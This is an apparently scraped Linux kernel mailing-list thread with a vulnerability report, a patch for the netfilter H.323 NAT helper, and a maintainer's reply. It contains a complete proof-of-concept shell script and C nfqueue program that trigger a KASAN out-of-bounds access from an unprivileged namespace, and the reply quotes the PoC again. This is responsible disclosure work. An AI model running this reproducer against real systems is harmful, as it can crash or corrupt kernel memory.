netfilter: h323: fix helper NAT mangling
Subsystems (2)
cover netfilter: h323: fix helper NAT mangling
From: Zhiling Zou <[email protected]>
Hi Linux kernel maintainers,
We found and validated an issue in net/ipv4/netfilter/nf_nat_h323.c and net/netfilter/nf_conntrack_h323_main.c. The bug is reachable by a non-root user after creating user and net namespaces with namespace-local CAP_NET_ADMIN.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
H.323 conntrack helpers parse packet payloads according to the helper that is attached to the conntrack entry. RAS parses UDP payloads, while Q.931 and H.245 parse TPKT data from TCP payloads.
The NAT helper later calls set_addr() to rewrite addresses embedded in those helper payloads. Before this fix, set_addr() chose nf_nat_mangle_tcp_packet() or nf_nat_mangle_udp_packet() from the packet's current IPv4 protocol byte. A namespace-local packet modifier can rewrite that byte after conntrack has accepted the original layout and before helper processing at the confirm hook.
This makes the parser and NAT mangler use different transport-header bases. The PoC attaches the RAS helper to a UDP conntrack, queues the packet, changes the IPv4 protocol byte to TCP, and reinjects it. ras_help() still parses the address relative to the UDP payload, but set_addr() uses the TCP mangler and a forged TCP data offset. The NAT match offset then points past skb->tail and KASAN reports an out-of-bounds access in mangle_contents().
There is a second edge case on the H.245 helper path. The H.245 helper is registered with IPPROTO_UDP, but h245_help() parses TPKT/TCP data and uses the TCP doff as its base. Userspace can bind the registered H.245 helper to a UDP conntrack with nftables. If NAT then selected the mangler only from the UDP tuple, the same parser/mangler base mismatch would remain reachable.
The fix selects the NAT mangler from nf_ct_protonum(ct), the stable protocol stored in the conntrack tuple, instead of the mutable IPv4 protocol byte. It also ignores H.245 helper invocations on non-TCP conntracks before the TCP parser can feed offsets to NAT.
Reproducer:
./poc.sh
For user namespace reproduction:
unshare -Urn sh -c '
cd /path/to/reproducer &&
./poc.sh
'We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.sh------
#!/bin/sh
set -eu
DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd) IPT=${IPT:-/usr/sbin/iptables-legacy} IP=${IP:-/usr/sbin/ip} XTABLES_LOCKFILE=${XTABLES_LOCKFILE:-${DIR}/xtables.lock} export XTABLES_LOCKFILE QUEUE_NUM=${QUEUE_NUM:-0} SRC_IP=${SRC_IP:-10.0.0.1} NAT_IP=${NAT_IP:-10.0.0.3} DST_IP=${DST_IP:-10.0.0.2} SRC_PORT=${SRC_PORT:-40000} DST_PORT=${DST_PORT:-1719}
DEV=${DEV:-tun0}
NFQ_PID=
cleanup() {
if [ -n "${NFQ_PID}" ]; then
kill "${NFQ_PID}" 2>/dev/null || true
wait "${NFQ_PID}" 2>/dev/null || true
fi
${IPT} -t raw -D OUTPUT -p udp --dport "${DST_PORT}" -j CT --helper RAS 2>/dev/null || true
${IPT} -t mangle -D OUTPUT -p udp --dport "${DST_PORT}" -j NFQUEUE --queue-num "${QUEUE_NUM}" 2>/dev/null || true
${IPT} -t nat -D POSTROUTING -o "${DEV}" -j SNAT --to-source "${NAT_IP}" 2>/dev/null || true
${IP} link del "${DEV}" 2>/dev/null || true
}trap cleanup EXIT INT TERM
if [ "$(id -u)" != "0" ]; then
echo "run as root or as uid 0 inside a user namespace" >&2 exit 1
fi
${IP} link del "${DEV}" 2>/dev/null || true
${IP} tuntap add dev "${DEV}" mode tun user root
${IP} addr add "${SRC_IP}/24" dev "${DEV}"
${IP} addr add "${NAT_IP}/24" dev "${DEV}"
${IP} link set "${DEV}" up
${IP} route replace "${DST_IP}/32" dev "${DEV}"
${IPT} -t raw -A OUTPUT -p udp --dport "${DST_PORT}" -j CT --helper RAS
${IPT} -t mangle -A OUTPUT -p udp --dport "${DST_PORT}" -j NFQUEUE --queue-num "${QUEUE_NUM}" ${IPT} -t nat -A POSTROUTING -o "${DEV}" -j SNAT --to-source "${NAT_IP}"
"${DIR}/nfq_mutate" "${QUEUE_NUM}" &
NFQ_PID=$!
sleep 1
python3 - <<'PY'
from ipaddress import IPv4Address
import os
import socket
src_ip = os.environ.get("SRC_IP", "10.0.0.1") dst_ip = os.environ.get("DST_IP", "10.0.0.2") src_port = int(os.environ.get("SRC_PORT", "40000")) dst_port = int(os.environ.get("DST_PORT", "1719"))
class BW:
def __init__(self):
self.bits = []
def bit(self, value):
self.bits.append(1 if value else 0)
def bitsv(self, value, nbits):
for shift in range(nbits - 1, -1, -1):
self.bits.append((value >> shift) & 1)
def align(self):
while len(self.bits) % 8:
self.bits.append(0)
def bytes(self, data):
self.align()
for byte in data:
self.bitsv(byte, 8)
def out(self):
self.align()
out = bytearray()
for i in range(0, len(self.bits), 8):
value = 0
for bit in self.bits[i:i + 8]:
value = (value << 1) | bit
out.append(value)
return bytes(out)
bw = BW()
# RasMessage ::= locationRequestbw.bit(0)bw.bitsv(18, 5)
# LocationRequest root: endpointIdentifier present, nonStandardData absent. bw.bit(0)bw.bitsv(0b10, 2)bw.align()
# requestSeqNumbw.bytes((1).to_bytes(2, "big"))
# endpointIdentifier: 121 UTF-16 code units. Byte 4 becomes 0xf0, which the
# later TCP interpretation uses as a fake data offset. bw.bitsv(120, 7) bw.align() bw.bytes(b"A\x00" * 121)
# destinationInfo: emptybw.align()bw.bytes(b"\x00")
# replyAddress ::= ipAddress { ip, port }bw.bit(0)bw.bitsv(0, 3)bw.align()
bw.bytes(IPv4Address(src_ip).packed)bw.align()bw.bytes(src_port.to_bytes(2, "big"))
payload = bw.out() print(f"payload_len={len(payload)} payload4={payload[4]:#x}")
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.bind((src_ip, src_port))s.sendto(payload, (dst_ip, dst_port))
PY
wait "${NFQ_PID}"
------END poc.sh--------
------BEGIN nfq_mutate.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <libmnl/libmnl.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nfnetlink_queue.h>
#include <netinet/ip.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
struct queued_pkt {
uint32_t id;
uint8_t *payload;
uint32_t payload_len;
bool ready;
};static uint16_t ip_checksum(void *buf, size_t len)
{
uint32_t sum = 0;
uint16_t *p = buf;
while (len > 1) {
sum += *p++;
len -= 2;
}
if (len)
sum += *(uint8_t *)p;
while (sum >> 16)
sum = (sum & 0xffff) + (sum >> 16);
return ~sum;
}static int parse_attr_cb(const struct nlattr *attr, void *data)
{
const struct nlattr **tb = data;
int type = mnl_attr_get_type(attr);
if (mnl_attr_type_valid(attr, NFQA_MAX) < 0)
return MNL_CB_OK;
switch (type) {
case NFQA_PACKET_HDR:
if (mnl_attr_validate2(attr, MNL_TYPE_UNSPEC,
sizeof(struct nfqnl_msg_packet_hdr)) < 0)
return MNL_CB_ERROR;
break;
case NFQA_PAYLOAD:
break;
default:
break;
}
tb[type] = attr;
return MNL_CB_OK;
}static int queue_cb(const struct nlmsghdr *nlh, void *data)
{
const struct nlattr *tb[NFQA_MAX + 1] = {};
const struct nfqnl_msg_packet_hdr *ph;
struct queued_pkt *pkt = data;
mnl_attr_parse(nlh, sizeof(struct nfgenmsg), parse_attr_cb, (void *)tb);
if (!tb[NFQA_PACKET_HDR] || !tb[NFQA_PAYLOAD])
return MNL_CB_ERROR;
ph = mnl_attr_get_payload(tb[NFQA_PACKET_HDR]);
pkt->id = ntohl(ph->packet_id);
pkt->payload_len = mnl_attr_get_payload_len(tb[NFQA_PAYLOAD]);
pkt->payload = malloc(pkt->payload_len);
if (!pkt->payload) {
perror("malloc");
exit(1);
}
memcpy(pkt->payload, mnl_attr_get_payload(tb[NFQA_PAYLOAD]),
pkt->payload_len);
pkt->ready = true;
return MNL_CB_STOP;
}static struct nlmsghdr *build_cfg_pf_request(char *buf, uint8_t command)
{
struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf);
struct nfgenmsg *nfg;
struct nfqnl_msg_config_cmd cmd = {
.command = command,
.pf = htons(AF_INET),
};
nlh->nlmsg_type = (NFNL_SUBSYS_QUEUE << 8) | NFQNL_MSG_CONFIG;
nlh->nlmsg_flags = NLM_F_REQUEST;
nfg = mnl_nlmsg_put_extra_header(nlh, sizeof(*nfg));
nfg->nfgen_family = AF_UNSPEC;
nfg->version = NFNETLINK_V0;
mnl_attr_put(nlh, NFQA_CFG_CMD, sizeof(cmd), &cmd);
return nlh;
}static struct nlmsghdr *build_cfg_request(char *buf, uint8_t command,
uint16_t queue_num)
{
struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf);
struct nfgenmsg *nfg;
struct nfqnl_msg_config_cmd cmd = {
.command = command,
.pf = htons(AF_INET),
};
nlh->nlmsg_type = (NFNL_SUBSYS_QUEUE << 8) | NFQNL_MSG_CONFIG;
nlh->nlmsg_flags = NLM_F_REQUEST;
nfg = mnl_nlmsg_put_extra_header(nlh, sizeof(*nfg));
nfg->nfgen_family = AF_UNSPEC;
nfg->version = NFNETLINK_V0;
nfg->res_id = htons(queue_num);
mnl_attr_put(nlh, NFQA_CFG_CMD, sizeof(cmd), &cmd);
return nlh;
}static struct nlmsghdr *build_cfg_params(char *buf, uint8_t mode, int range,
uint16_t queue_num)
{
struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf);
struct nfgenmsg *nfg;
struct nfqnl_msg_config_params params = {
.copy_range = htonl(range),
.copy_mode = mode,
};
nlh->nlmsg_type = (NFNL_SUBSYS_QUEUE << 8) | NFQNL_MSG_CONFIG;
nlh->nlmsg_flags = NLM_F_REQUEST;
nfg = mnl_nlmsg_put_extra_header(nlh, sizeof(*nfg));
nfg->nfgen_family = AF_UNSPEC;
nfg->version = NFNETLINK_V0;
nfg->res_id = htons(queue_num);
mnl_attr_put(nlh, NFQA_CFG_PARAMS, sizeof(params), ¶ms);
return nlh;
}static struct nlmsghdr *build_verdict(char *buf, const struct queued_pkt *pkt,
uint16_t queue_num, uint32_t verdict)
{
struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf);
struct nfgenmsg *nfg;
struct nfqnl_msg_verdict_hdr vh = {
.verdict = htonl(verdict),
.id = htonl(pkt->id),
};
nlh->nlmsg_type = (NFNL_SUBSYS_QUEUE << 8) | NFQNL_MSG_VERDICT;
nlh->nlmsg_flags = NLM_F_REQUEST;
nfg = mnl_nlmsg_put_extra_header(nlh, sizeof(*nfg));
nfg->nfgen_family = AF_UNSPEC;
nfg->version = NFNETLINK_V0;
nfg->res_id = htons(queue_num);
mnl_attr_put(nlh, NFQA_VERDICT_HDR, sizeof(vh), &vh);
mnl_attr_put(nlh, NFQA_PAYLOAD, pkt->payload_len, pkt->payload);
return nlh;
}static void mutate_packet(struct queued_pkt *pkt)
{
struct iphdr *iph;
uint8_t *l4;
if (pkt->payload_len < sizeof(*iph))
return;
iph = (struct iphdr *)pkt->payload;
if (iph->version != 4 || iph->ihl < 5)
return;
if (pkt->payload_len < iph->ihl * 4U + 13)
return;
l4 = pkt->payload + iph->ihl * 4U;
fprintf(stderr,
"nfqueue: id=%u len=%u old_proto=%u doff_byte_before=%#x\n",
pkt->id, pkt->payload_len, iph->protocol, l4[12]);
iph->protocol = IPPROTO_TCP;
iph->check = 0;
iph->check = ip_checksum(iph, iph->ihl * 4U);
fprintf(stderr,
"nfqueue: id=%u new_proto=%u doff_byte_after=%#x\n",
pkt->id, iph->protocol, l4[12]);
}int main(int argc, char **argv)
{
struct mnl_socket *nl;
char buf[MNL_SOCKET_BUFFER_SIZE];
struct nlmsghdr *nlh;
struct queued_pkt pkt = {};
unsigned int portid;
uint16_t queue_num = 0;
int ret;
if (argc > 1)
queue_num = (uint16_t)atoi(argv[1]);
nl = mnl_socket_open(NETLINK_NETFILTER);
if (!nl) {
perror("mnl_socket_open");
return 1;
}
if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
perror("mnl_socket_bind");
return 1;
}
portid = mnl_socket_get_portid(nl);
nlh = build_cfg_pf_request(buf, NFQNL_CFG_CMD_PF_UNBIND);
if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0)
perror("PF_UNBIND");
nlh = build_cfg_pf_request(buf, NFQNL_CFG_CMD_PF_BIND);
if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
perror("PF_BIND");
return 1;
}
nlh = build_cfg_request(buf, NFQNL_CFG_CMD_BIND, queue_num);
if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
perror("QUEUE_BIND");
return 1;
}
nlh = build_cfg_params(buf, NFQNL_COPY_PACKET, 0xffff, queue_num);
if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
perror("CFG_PARAMS");
return 1;
}
for (;;) {
ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
if (ret < 0) {
perror("mnl_socket_recvfrom");
return 1;
}
ret = mnl_cb_run(buf, ret, 0, portid, queue_cb, &pkt);
if (ret < 0) {
perror("mnl_cb_run");
return 1;
}
if (!pkt.ready)
continue;
mutate_packet(&pkt);
nlh = build_verdict(buf, &pkt, queue_num, NF_ACCEPT);
if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
perror("send verdict");
return 1;
}
free(pkt.payload);
break;
}
mnl_socket_close(nl);
return 0;
}------END nfq_mutate.c--------
----BEGIN crash log----
[ 142.557736] [ T1073] BUG: KASAN: out-of-bounds in mangle_contents (../net/netfilter/nf_nat_helper.c:38:2) [ 142.557790] [ T1073] Read of size 18446744073709551564 at addr ffff88810fc8ee9f by task nfq_mutate/1073
[ 142.557839] [ T1073] CPU: 1 UID: 1028 PID: 1073 Comm: nfq_mutate Not tainted 6.12.95 #1 7b931b951f26d30ef9f3f8d44b931a24dbfb5ce6 [ 142.557860] [ T1073] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 142.557871] [ T1073] Call Trace: [ 142.557885] [ T1073] <TASK> [ 142.557895] [ T1073] dump_stack_lvl (../lib/dump_stack.c:118:3) [ 142.557963] [ T1073] print_report (../include/linux/mm.h:1903:22 ../mm/kasan/report.c:289:10 ../mm/kasan/report.c:376:22 ../mm/kasan/report.c:482:3) [ 142.558014] [ T1073] ? mangle_contents (../net/netfilter/nf_nat_helper.c:38:2) [ 142.558102] [ T1073] kasan_report (../mm/kasan/report.c:593:2) [ 142.558133] [ T1073] kasan_check_range (../mm/kasan/generic.c:183:10 ../mm/kasan/generic.c:200:9) [ 142.558145] [ T1073] __asan_memmove (../mm/kasan/shadow.c:94:7) [ 142.558163] [ T1073] mangle_contents (../net/netfilter/nf_nat_helper.c:38:2) [ 142.558192] [ T1073] __nf_nat_mangle_tcp_packet (../net/netfilter/nf_nat_helper.c:106:20) [ 142.558209] [ T1073] set_addr (../net/ipv4/netfilter/nf_nat_h323.c:26:1) [ 142.558316] [ T1073] set_ras_addr (../net/ipv4/netfilter/nf_nat_h323.c:166:18) [ 142.558379] [ T1073] ras_help (../net/netfilter/nf_conntrack_h323_main.c:1675:2) [ 142.558565] [ T1073] nf_confirm (../include/linux/skbuff.h:3130:24 ../include/linux/ipv6.h:110:27 ../net/netfilter/nf_conntrack_proto.c:160:10) [ 142.558728] [ T1073] nfqnl_reinject (../include/linux/bitops.h:126:32 ../include/linux/jhash.h:139:3 ../include/linux/rhashtable.h:143:11 ../include/linux/rhashtable.h:153:22 ../include/linux/rhashtable.h:168:9 ../include/linux/rhashtable.h:1058:9 ../include/linux/rhashtable.h:1144:16 ../include/linux/rhashtable.h:1173:9 ../net/netfilter/nfnetlink_queue.c:236:2) [ 142.558746] [ T1073] nfqnl_recv_verdict (../net/netfilter/nfnetlink_queue.c:1539:6) [ 142.559195] [ T1073] netlink_unicast (../include/net/net_namespace.h:419:9 ../include/net/sock.h:713:9 ../net/netlink/af_netlink.c:1260:2 ../net/netlink/af_netlink.c:1269:12 ../net/netlink/af_netlink.c:1359:9) [ 142.559272] [ T1073] netlink_sendmsg (../net/netlink/af_netlink.c:1875:24) [ 142.559350] [ T1073] __sys_sendto (../net/socket.c:790:2 ../net/socket.c:802:16 ../net/socket.c:2265:9) [ 142.559478] [ T1073] __x64_sys_sendto (../net/socket.c:2272:9 ../net/socket.c:2268:1 ../net/socket.c:2268:1) [ 142.559530] [ T1073] do_syscall_64 (../arch/x86/include/asm/entry-common.h:43:3 ../include/linux/irq-entry-common.h:100:2 ../include/linux/entry-common.h:174:2 ../arch/x86/entry/syscall_64.c:89:7) [ 142.559542] [ T1073] entry_SYSCALL_64_after_hwframe (../arch/x86/entry/entry_64.S:121) [ 142.559645] [ T1073] </TASK>
[ 142.559796] [ T1073] Allocated by task 1076 on cpu 3 at 142.556120s: [ 142.559809] [ T1073] kasan_save_stack (../mm/kasan/common.c:57:15) [ 142.559833] [ T1073] __kasan_slab_alloc (../mm/kasan/common.c:352:5) [ 142.559844] [ T1073] kmem_cache_alloc_node_noprof (../mm/slub.c:4756:5 ../mm/slub.c:4883:11 ../mm/slub.c:4950:14) [ 142.559876] [ T1073] kmalloc_reserve (../net/core/skbuff.c:613:9) [ 142.559892] [ T1073] __alloc_skb (../net/core/skbuff.c:703:6) [ 142.559905] [ T1073] alloc_skb_with_frags (../net/core/skbuff.c:6730:6) [ 142.559925] [ T1073] sock_alloc_send_pskb (../include/net/sock.h:2117:10 ../net/core/sock.c:2959:14 ../net/core/sock.c:2996:11) [ 142.559942] [ T1073] __ip_append_data (../include/linux/refcount.h:291:3 ../include/linux/refcount.h:312:2 ../net/ipv4/ip_output.c:1277:3) [ 142.559953] [ T1073] ip_make_skb (../net/ipv4/ip_output.c:1583:1) [ 142.559964] [ T1073] udp_sendmsg (../include/linux/rcupdate.h:867:2 ../include/net/l3mdev.h:102:3 ../net/ipv4/udp.c:1387:18)
[ 142.560041] [ T1073] The buggy address belongs to the object at ffff88810fc8ed40 which belongs to the cache skbuff_small_head of size 704 [ 142.560059] [ T1073] The buggy address is located 351 bytes inside of
704-byte region [ffff88810fc8ed40, ffff88810fc8f000)
[ 142.560245] [ T1073] Memory state around the buggy address: [ 142.560254] [ T1073] ffff88810fc8ed80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 142.560264] [ T1073] ffff88810fc8ee00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 142.560276] [ T1073] >ffff88810fc8ee80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 142.560287] [ T1073] ^ [ 142.560317] [ T1073] ffff88810fc8ef00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 142.560327] [ T1073] ffff88810fc8ef80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 142.560335] [ T1073] ================================================================== [ 142.560397] [ T1073] Disabling lock debugging due to kernel taint
-----END crash log-----
Best regards,
Zhiling Zou
Zhiling Zou (1):
netfilter: h323: keep NAT mangling aligned with parsed transport
net/ipv4/netfilter/nf_nat_h323.c | 9 +++++++-- net/netfilter/nf_conntrack_h323_main.c | 4 ++++ 2 files changed, 11 insertions(+), 2 deletions(-)
Signature · 1 line
2.43.0
PATCH 1/1 netfilter: h323: keep NAT mangling aligned with parsed transport
From: Zhiling Zou <[email protected]>
nf_nat_h323's set_addr() chooses the TCP or UDP NAT mangler from the packet's current IPv4 protocol byte. H.323 conntrack helpers run later from the conntrack helper path, so a packet can be accepted and assigned to a UDP RAS or TCP signaling helper before another hook rewrites the IP protocol byte.
When the current IP protocol no longer matches the helper's transport, the parser and NAT mangler use different transport-header bases. In the RAS case, ras_help() parses addresses relative to the UDP payload, while set_addr() can call the TCP mangler and use a forged TCP data offset. That can make the NAT match offset extend past the skb tail.
Select the mangler from nf_ct_protonum(ct), the stable L4 protocol stored in the conntrack tuple, instead of the live IP header. H.245 parsing is TPKT/TCP based even though the registered H.245 helper can be bound to a UDP conntrack from userspace; ignore those non-TCP bindings before the TCP parser feeds offsets to NAT.
--- net/ipv4/netfilter/nf_nat_h323.c | 9 +++++++-- net/netfilter/nf_conntrack_h323_main.c | 4 ++++ 2 files changed, 11 insertions(+), 2 deletions(-)
net/ipv4/netfilter/nf_nat_h323.c +7 -2
@@ -37,7 +37,8 @@ static int set_addr(struct sk_buff *skb, unsigned int protoff, buf.port = port; addroff += dataoff; -if (ip_hdr (skb)->protocol ==IPPROTO_TCP ) { +switch (nf_ct_protonum (ct)) { +case IPPROTO_TCP :if (!nf_nat_mangle_tcp_packet (skb, ct, ctinfo, protoff, addroff,sizeof (buf), (char *) &buf,sizeof (buf))) {
@@ -51,7 +52,8 @@ static int set_addr(struct sk_buff *skb, unsigned int protoff,if (th ==NULL )return -1 ; *data = skb->data +ip_hdrlen (skb) + th->doff *4 + dataoff; - }else { +break ; +case IPPROTO_UDP :if (!nf_nat_mangle_udp_packet (skb, ct, ctinfo, protoff, addroff,sizeof (buf), (char *) &buf,sizeof (buf))) {
@@ -62,6 +64,9 @@ static int set_addr(struct sk_buff *skb, unsigned int protoff,* or pull everything in a linear buffer, so we can safely * use the skb pointers now */ *data = skb->data +ip_hdrlen (skb) +sizeof (struct udphdr ); +break ; +default : +return -1 ; }return 0 ;
net/netfilter/nf_conntrack_h323_main.c +4 -0
@@ -539,6 +539,10 @@ static int h245_help(struct sk_buff *skb, unsigned int protoff,if (ctinfo !=IP_CT_ESTABLISHED && ctinfo !=IP_CT_ESTABLISHED_REPLY )return NF_ACCEPT ; +/* H.245 is TPKT/TCP; ignore manual bindings to other L4 protocols. */ +if (nf_ct_protonum (ct) !=IPPROTO_TCP ) +return NF_ACCEPT ; +pr_debug ("nf_ct_h245: skblen = %u\n" , skb->len);spin_lock_bh (&nf_h323_lock);
Signature · 1 line
2.43.0
Pablo Neira Ayuso
maintainerHi,
Quoted 22 lines · Ren Wei
From: Zhiling Zou <[email protected]>
Hi Linux kernel maintainers,
We found and validated an issue in
net/ipv4/netfilter/nf_nat_h323.candnet/netfilter/nf_conntrack_h323_main.c. The bug is reachable by a non-root user after creating user and net namespaces with namespace-localCAP_NET_ADMIN.We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
H.323 conntrack helpers parse packet payloads according to the helper that is attached to the conntrack entry. RAS parses UDP payloads, while Q.931 and H.245 parse TPKT data from TCP payloads.
Quoted 6 lines
The NAT helper later calls
set_addr()to rewrite addresses embedded in those helper payloads. Before this fix,set_addr()chosenf_nat_mangle_tcp_packet()ornf_nat_mangle_udp_packet()from the packet's current IPv4 protocol byte. A namespace-local packet modifier can rewrite that byte after conntrack has accepted the original layout and before helper processing at the confirm hook.
You assume IPv4 protocol byte has been updated, and you provide an example utility for nfqueue.
But we have already restricted this:
commit 54f34607d184c1cc056c59a5b3d86d96dd6a515c
Author: Florian Westphal <[email protected]> Date: Tue Jun 9 13:51:53 2026 +0200
netfilter: nfnetlink_queue: restrict writes to network header
commit df07998dfd40796a05fff7ffea2661ad65ed42a7
Author: Florian Westphal <[email protected]> Date: Tue Jun 9 13:51:54 2026 +0200
netfilter: nftables: restrict linklayer and network header writes
are you running a kernel with this patches?
Quoted 512 lines
This makes the parser and NAT mangler use different transport-header bases. The PoC attaches the RAS helper to a UDP conntrack, queues the packet, changes the IPv4 protocol byte to TCP, and reinjects it.
ras_help()still parses the address relative to the UDP payload, butset_addr()uses the TCP mangler and a forged TCP data offset. The NAT match offset then points pastskb->tailand KASAN reports an out-of-bounds access inmangle_contents().There is a second edge case on the H.245 helper path. The H.245 helper is registered with
IPPROTO_UDP, buth245_help()parses TPKT/TCP data and uses the TCP doff as its base. Userspace can bind the registered H.245 helper to a UDP conntrack with nftables. If NAT then selected the mangler only from the UDP tuple, the same parser/mangler base mismatch would remain reachable.The fix selects the NAT mangler from
nf_ct_protonum(ct), the stable protocol stored in the conntrack tuple, instead of the mutable IPv4 protocol byte. It also ignores H.245 helper invocations on non-TCP conntracks before the TCP parser can feed offsets to NAT.Reproducer:
./poc.shFor user namespace reproduction:
unshare -Urn sh -c ' cd /path/to/reproducer && ./poc.sh 'We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.sh------
#!/bin/sh
set -euDIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd) IPT=${IPT:-/usr/sbin/iptables-legacy} IP=${IP:-/usr/sbin/ip} XTABLES_LOCKFILE=${XTABLES_LOCKFILE:-${DIR}/xtables.lock} export
XTABLES_LOCKFILEQUEUE_NUM=${QUEUE_NUM:-0} SRC_IP=${SRC_IP:-10.0.0.1} NAT_IP=${NAT_IP:-10.0.0.3} DST_IP=${DST_IP:-10.0.0.2} SRC_PORT=${SRC_PORT:-40000} DST_PORT=${DST_PORT:-1719}
DEV=${DEV:-tun0}
NFQ_PID=cleanup() { if [ -n "${NFQ_PID}" ]; then kill "${NFQ_PID}" 2>/dev/null || true wait "${NFQ_PID}" 2>/dev/null || true fi ${IPT} -t raw -D OUTPUT -p udp --dport "${DST_PORT}" -j CT --helper RAS 2>/dev/null || true ${IPT} -t mangle -D OUTPUT -p udp --dport "${DST_PORT}" -j NFQUEUE --queue-num "${QUEUE_NUM}" 2>/dev/null || true ${IPT} -t nat -D POSTROUTING -o "${DEV}" -j SNAT --to-source "${NAT_IP}" 2>/dev/null || true ${IP} link del "${DEV}" 2>/dev/null || true }trap cleanup EXIT INT TERM
if [ "$(id -u)" != "0" ]; then
echo "run as root or as uid 0 inside a user namespace" >&2 exit 1
fi${IP} link del "${DEV}" 2>/dev/null || true
${IP} tuntap add dev "${DEV}" mode tun user root
${IP} addr add "${SRC_IP}/24" dev "${DEV}"
${IP} addr add "${NAT_IP}/24" dev "${DEV}"
${IP} link set "${DEV}" up
${IP} route replace "${DST_IP}/32" dev "${DEV}"${IPT} -t raw -A OUTPUT -p udp --dport "${DST_PORT}" -j CT --helper RAS
${IPT} -t mangle -A OUTPUT -p udp --dport "${DST_PORT}" -j NFQUEUE --queue-num "${QUEUE_NUM}" ${IPT} -t nat -A POSTROUTING -o "${DEV}" -j SNAT --to-source "${NAT_IP}""${DIR}/nfq_mutate" "${QUEUE_NUM}" &
NFQ_PID=$!
sleep 1python3 - <<'PY'
from ipaddress import IPv4Address
import os
import socket
src_ip=os.environ.get("SRC_IP", "10.0.0.1")dst_ip=os.environ.get("DST_IP", "10.0.0.2")src_port=int(os.environ.get("SRC_PORT", "40000"))dst_port=int(os.environ.get("DST_PORT", "1719"))class BW:
def__init__(self):
self.bits = []def
bit(self, value):
self.bits.append(1 if value else 0)def
bitsv(self, value, nbits):
for shift inrange(nbits - 1, -1, -1):
self.bits.append((value >> shift) & 1)def align(self):
while len(self.bits) % 8:
self.bits.append(0)def
bytes(self, data):
self.align()
for byte in data:
self.bitsv(byte, 8)def out(self):
self.align()
out =bytearray()
for i inrange(0, len(self.bits), 8):
value = 0
for bit in self.bits[i:i + 8]:
value = (value << 1) | bit
out.append(value)
return bytes(out)bw =
BW()# RasMessage ::= locationRequest
bw.bit(0)bw.bitsv(18, 5)# LocationRequest root: endpointIdentifier present, nonStandardData absent.
bw.bit(0)bw.bitsv(0b10, 2)bw.align()# requestSeqNum
bw.bytes((1).to_bytes(2, "big"))# endpointIdentifier: 121 UTF-16 code units. Byte 4 becomes
0xf0, which the# later TCP interpretation uses as a fake data offset. bw.bitsv(120, 7) bw.align() bw.bytes(b"A\x00" * 121)# destinationInfo: empty
bw.align()bw.bytes(b"\x00")# replyAddress ::= ipAddress { ip, port }
bw.bit(0)bw.bitsv(0, 3)bw.align()
bw.bytes(IPv4Address(src_ip).packed)bw.align()bw.bytes(src_port.to_bytes(2, "big"))payload =
bw.out()print(f"payload_len={len(payload)} payload4={payload[4]:#x}")s =
socket.socket(socket.AF_INET, socket.SOCK_DGRAM)s.bind((src_ip, src_port))s.sendto(payload, (dst_ip, dst_port))
PYwait "${NFQ_PID}"
------END poc.sh--------
------BEGIN nfq_mutate.c------
#define
_GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <libmnl/libmnl.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nfnetlink_queue.h>
#include <netinet/ip.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>struct queued_pkt { uint32_t id; uint8_t *payload; uint32_t payload_len; bool ready; };static
uint16_tip_checksum(void *buf, size_t len){ uint32_t sum = 0; uint16_t *p = buf; while (len > 1) { sum += *p++; len -= 2; } if (len) sum += *(uint8_t *)p; while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16); return ~sum; }static int
parse_attr_cb(const struct nlattr *attr, void *data){ const struct nlattr **tb = data; int type = mnl_attr_get_type(attr); if (mnl_attr_type_valid(attr, NFQA_MAX) < 0) return MNL_CB_OK; switch (type) { case NFQA_PACKET_HDR: if (mnl_attr_validate2(attr, MNL_TYPE_UNSPEC, sizeof(struct nfqnl_msg_packet_hdr)) < 0) return MNL_CB_ERROR; break; case NFQA_PAYLOAD: break; default: break; } tb[type] = attr; return MNL_CB_OK; }static int
